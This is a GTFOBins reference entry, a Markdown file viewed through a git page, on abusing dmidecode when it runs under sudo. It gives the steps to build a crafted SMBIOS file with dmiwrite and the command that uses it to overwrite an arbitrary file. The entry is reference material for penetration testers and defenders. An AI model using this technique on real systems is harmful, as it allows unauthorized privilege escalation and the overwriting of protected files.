GTFOBins.github.io/_gtfobins/dmidecode.md

22 lines
763 B
Markdown
Raw Normal View History

2021-07-13 08:41:23 +02:00
---
functions:
sudo:
- description: |
It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.
Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.
- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.
- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.
```
make dmiwrite
TF=$(mktemp)
echo "DATA" > $TF
./dmiwrite $TF x.dmi
```
code: |
LFILE=file_to_write
sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"
---